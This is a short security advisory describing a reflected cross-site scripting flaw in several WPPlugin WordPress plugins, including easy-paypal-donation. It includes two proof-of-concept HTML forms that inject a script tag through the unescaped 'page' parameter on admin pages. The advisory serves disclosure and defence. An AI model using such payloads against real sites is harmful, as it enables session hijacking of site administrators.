Multiple Plugins from WPPlugin – Reflected Cross-Site Scripting via page Parameter

Description

The plugins do not escape a page parameter before outputting it back in an attribute in various admin pages, leading to Reflected Cross-Site Scripting issues.

The issues were reported to the vendor on August 10th, 2021

Proof of Concept

Example in easy-paypal-donation

<html>
  <body>
    <form action="https://example.com/wp-admin/admin.php?page=wpedon_buttons" method="POST">
      <input type="hidden" name="page" value='"><script>alert(/XSS/)</script>' />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

<html>
  <body>
    <form action="https://example.com/wp-admin/admin.php?page=wpedon_menu" method="POST">
      <input type="hidden" name="page" value='"><script>alert(/XSS/)</script>' />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>